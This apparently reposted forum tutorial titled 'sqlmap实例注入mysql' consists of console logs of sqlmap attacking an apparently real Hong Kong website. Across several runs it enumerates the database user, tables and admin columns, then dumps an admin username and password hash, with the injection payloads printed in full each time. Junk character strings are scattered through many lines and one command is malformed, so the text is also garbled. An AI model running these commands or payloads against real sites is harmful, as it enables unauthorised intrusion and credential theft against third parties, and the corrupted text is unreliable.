sqlmap实例注入mysql

admin

D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
ms "Mysql" --current-user       /*  注解：获取当前用户名称
    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

starting at: 16:53:54
[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
session file
3 P; B, O2 D( t6 B+ [[16:53:54] [INFO] resuming injection data from session file
: Z8 ]0 n, @: j( m[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[16:53:54] [INFO] testing connection to the target url
; i3 Y! b2 A1 }4 msqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
' H! d2 c8 c, p7 |/ wPlace: GET
Parameter: id
/ J+ h- g7 b" A: _- T    Type: boolean-based blind
6 r9 I2 j4 Y+ w3 c( t) L. L    Title: AND boolean-based blind - WHERE or HAVING clause
9 o2 M% G3 E( [  K    Payload: id=276 AND 799=799
. L5 Z. J) _5 t' f1 g4 h! V    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
+ g! G( G" }- t, G) u),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    Type: UNION query
8 I- W! Z5 x# Y8 v: F" L$ J4 a8 ~7 {    Title: MySQL UNION query (NULL) - 1 to 10 columns
. \0 ?6 w  O) h/ j  ?3 b$ i    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
3 B6 \/ u1 E7 j. E0 A: H, c& J! kCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
; e( W* p+ K9 C) L    Type: AND/OR time-based blind
# v  o$ F0 y  ~) p7 [    Title: MySQL > 5.0.11 AND time-based blind
3 t* R- B% Y3 @( ^# O# N2 E- R    Payload: id=276 AND SLEEP(5)
---
( E0 G) u( t- H& N2 n[16:53:55] [INFO] the back-end DBMS is MySQL
* q8 g5 F. N( Zweb server operating system: Windows
web application technology: Apache 2.2.11, PHP 5.3.0
back-end DBMS: MySQL 5.0
[16:53:55] [INFO] fetching current user
current user:    'root@localhost'   
[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
1 w6 N/ h, K; D# otput\www.wepost.com.hk'

shutting down at: 16:53:58
/ X+ D  _- s) j7 I
$ {8 S5 z/ [2 e9 B8 S- {  hD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
3 h- _0 \8 j8 ]) h8 P* |ms "Mysql" --current-db                  /*当前数据库
- T. `2 N" D2 P    sqlmap/0.9 - automatic SQL injection and database takeover tool
! @5 J; |# l& _1 `, K    http://sqlmap.sourceforge.net

starting at: 16:54:16
4 e7 W% G" {9 J! O$ E. \3 d[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
: d6 X8 @% W& e  D4 P session file
[16:54:16] [INFO] resuming injection data from session file
$ C$ u/ u- I: W) T[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
$ }# q& h0 r/ [8 a9 \8 a[16:54:16] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
. Y; c% Z' ~$ e& q+ _# W2 p. j% W' vsts:
---
0 s  R; o9 E: X! p, B: O) k# r, ePlace: GET
. ]& b& G  O  C# ^8 R0 e+ Z. @Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
& z+ V# ?9 Z. C7 L    Payload: id=276 AND 799=799
    Type: error-based
8 I. S- Z6 N0 X5 o    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
0 ?* z" c5 m. C3 B120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
8 s5 ~4 _4 a! R    Type: UNION query
/ L. ?4 h" M1 ]. Z9 Z0 t    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
; D5 Z+ q  {/ O) ?2 Q5 q    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
, }* B& L3 |9 e4 ?# w' Y* u1 O; {$ N    Payload: id=276 AND SLEEP(5)
---
' F- t7 S% \( a7 ]) U: p8 M" Z4 h[16:54:17] [INFO] the back-end DBMS is MySQL
3 ]' N- y6 E( S& T3 C- y; g, C8 [3 eweb server operating system: Windows
9 b% V# _& O. N3 nweb application technology: Apache 2.2.11, PHP 5.3.0
# p# |3 ]5 o. S5 D) n+ Yback-end DBMS: MySQL 5.0
9 O1 X# w$ G' y! o; R  e5 b! n7 X$ d- Q[16:54:17] [INFO] fetching current database
, v" V6 k6 W& Z* E( N$ |. b* y/ ]current database:    'wepost'
) r4 r$ j/ c9 O/ T2 |+ i  R[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
0 x5 I, @, z/ Etput\www.wepost.com.hk'

shutting down at: 16:54:18
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
' ]6 P/ z  j4 C" {) @$ ams "Mysql" --tables  -D "wepost"         /*获取当前数据库的表名
; |$ s. d$ {7 I, \4 s3 O; J    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

starting at: 16:55:25
  ?4 E3 Y0 {( G' t  ^" S; h/ S[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
session file
[16:55:25] [INFO] resuming injection data from session file
[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[16:55:25] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
7 E: Q+ J: p8 }) `0 x& |---
  [, x3 p6 g) V3 |9 z' q( O5 vPlace: GET
$ {5 Z5 p, P! O& K1 I4 kParameter: id
7 v- o" I; g2 d$ A6 w    Type: boolean-based blind
: \" H- B% a' }( i) d    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=276 AND 799=799
) R$ w1 t9 y0 _9 t& {& X    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
$ l  J2 u8 k2 P( Q  G- V),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
9 \3 z3 Y3 A" f0 W1 u1 p" t! ~9 l    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
( Q( _* }. W! ]  s    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
) {1 K7 F: T4 e  q4 }(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
! E, x0 i' D$ g3 Y    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
+ S# N1 \! h. D2 a* Z$ a$ O    Payload: id=276 AND SLEEP(5)
---
) b" I' Q+ Y8 r# p7 N[16:55:26] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
( ?8 S* v0 `4 j- G6 ^. i9 rweb application technology: Apache 2.2.11, PHP 5.3.0
: [# @$ e( Q! P7 _back-end DBMS: MySQL 5.0
; W' U; ]. }6 V, d" W# b[16:55:26] [INFO] fetching tables for database 'wepost'
[16:55:27] [INFO] the SQL query used returns 6 entries
Database: wepost
- Y0 b: n7 \" O" ?) y[6 tables]
+-------------+
| admin       |
% u0 V- ?. J/ `9 v# |' N, ~' k' G& l| article     |
| contributor |
$ `' ^+ F+ \1 H: M! D  B; S: q| idea        |
| image       |
  W, T& R1 E. E. J' P| issue       |
+-------------+
[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
3 t1 e2 u5 A4 p% ntput\www.wepost.com.hk'

shutting down at: 16:55:33

D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
ms "Mysql" --columns -T "admin" users-D "wepost" -v 0     /*获取admin表的字段名
3 }9 [8 I$ g+ k    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

starting at: 16:56:06
0 {/ o- m! K. P3 z5 ssqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
# g$ C1 p$ L% }7 m& {3 ^Parameter: id
    Type: boolean-based blind
2 d+ U/ X. }6 K% w# M  Z    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=276 AND 799=799
: x- J6 @3 ^/ ?& G/ D! P    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
) R/ Q9 H7 p5 ~- G, Z    Type: UNION query
6 X! L6 X6 X9 C: k    Title: MySQL UNION query (NULL) - 1 to 10 columns
/ [6 M4 T' ~5 S: X: R  F    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
4 M$ d; E& H. m" g8 bCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=276 AND SLEEP(5)
# K/ u% m1 [, L' y---
; d1 A% y! h5 P1 }4 ?! dweb server operating system: Windows
web application technology: Apache 2.2.11, PHP 5.3.0
back-end DBMS: MySQL 5.0
[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se
& w! x  |# Z+ D) F' bssion': wepost, wepost
Database: wepost
Table: admin
2 d" q! g/ j7 ?! }" @4 {3 E[4 columns]
9 {& h8 }: y4 Z0 y7 ^: h  |1 s+----------+-------------+
5 x! K) q0 F: R* M- `- O8 y| Column   | Type        |
+----------+-------------+
| id       | int(11)     |
| password | varchar(32) |
- Z5 [0 k# d. k" w| type     | varchar(10) |
| userid   | varchar(20) |
5 V7 x* h& Q1 y; G5 m+----------+-------------+

shutting down at: 16:56:19

) y0 A: R( @! z: ZD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
  e# P) U% Y; f; G0 E# q- i; fms "Mysql"  --dump  -C "userid,password"  -T "admin" -D "wepost" -v 0      /*获取字段里面的内容
    sqlmap/0.9 - automatic SQL injection and database takeover tool
( C7 T8 W7 q7 a9 E$ C5 `* G' P* t    http://sqlmap.sourceforge.net

starting at: 16:57:14
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
% ~1 Y# V0 B& l, V0 g3 x( Psts:
$ ^1 w/ k( A) l  u---
) \  @, m1 @7 p& |Place: GET
7 D  E8 D$ w3 Q$ |& J( Q' @" rParameter: id
, p3 c8 I  o$ n+ _! W. G; E    Type: boolean-based blind
2 _7 S3 }: t1 y  e7 L$ H    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=276 AND 799=799
    Type: error-based
! m! T- k$ j" r! v' X2 C    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
) _) |" c, `% _( O4 Y; R2 k120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
- n% f( E( v# S  r8 b+ u+ m, ~% n' Q),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
7 y+ w: q! J: Y# T9 }( G! G    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
- T. i2 B; t  e4 e8 P- c( E& T" e" d2 m    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
8 s! |2 O% d' @$ E) |(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
, e' i9 g' }  }& d* C% qCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
- M- Q8 _2 F7 d; J  C' K    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
  B: g7 h  p, P    Payload: id=276 AND SLEEP(5)
0 N2 Q# d) j* _) A+ _---
8 G4 C2 c" R" h$ d4 Vweb server operating system: Windows
* c, |. t* g' f! |' |( Z+ Iweb application technology: Apache 2.2.11, PHP 5.3.0
back-end DBMS: MySQL 5.0
recognized possible password hash values. do you want to use dictionary attack o
! n. \9 i5 }/ |! p# Xn retrieved table items? [Y/n/q] y
what's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]
! z1 S5 D( C' a) \2 D+ n* `do you want to use common password suffixes? (slow!) [y/N] y
Database: wepost
& \9 y, Q; \& x- i9 D! R  O% w2 K3 s4 VTable: admin
[1 entry]
1 A3 D& p/ Q# ]  P# a) u+----------------------------------+------------+
* n' @# Q" k' h4 t+ c$ u| password                         | userid     |
+----------------------------------+------------+
| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |
+----------------------------------+------------+
; V! ]: C) D& x, d( L! M

shutting down at: 16:58:14
( y! M' K9 y. @3 b5 V* X+ O
D:\Python27\sqlmap>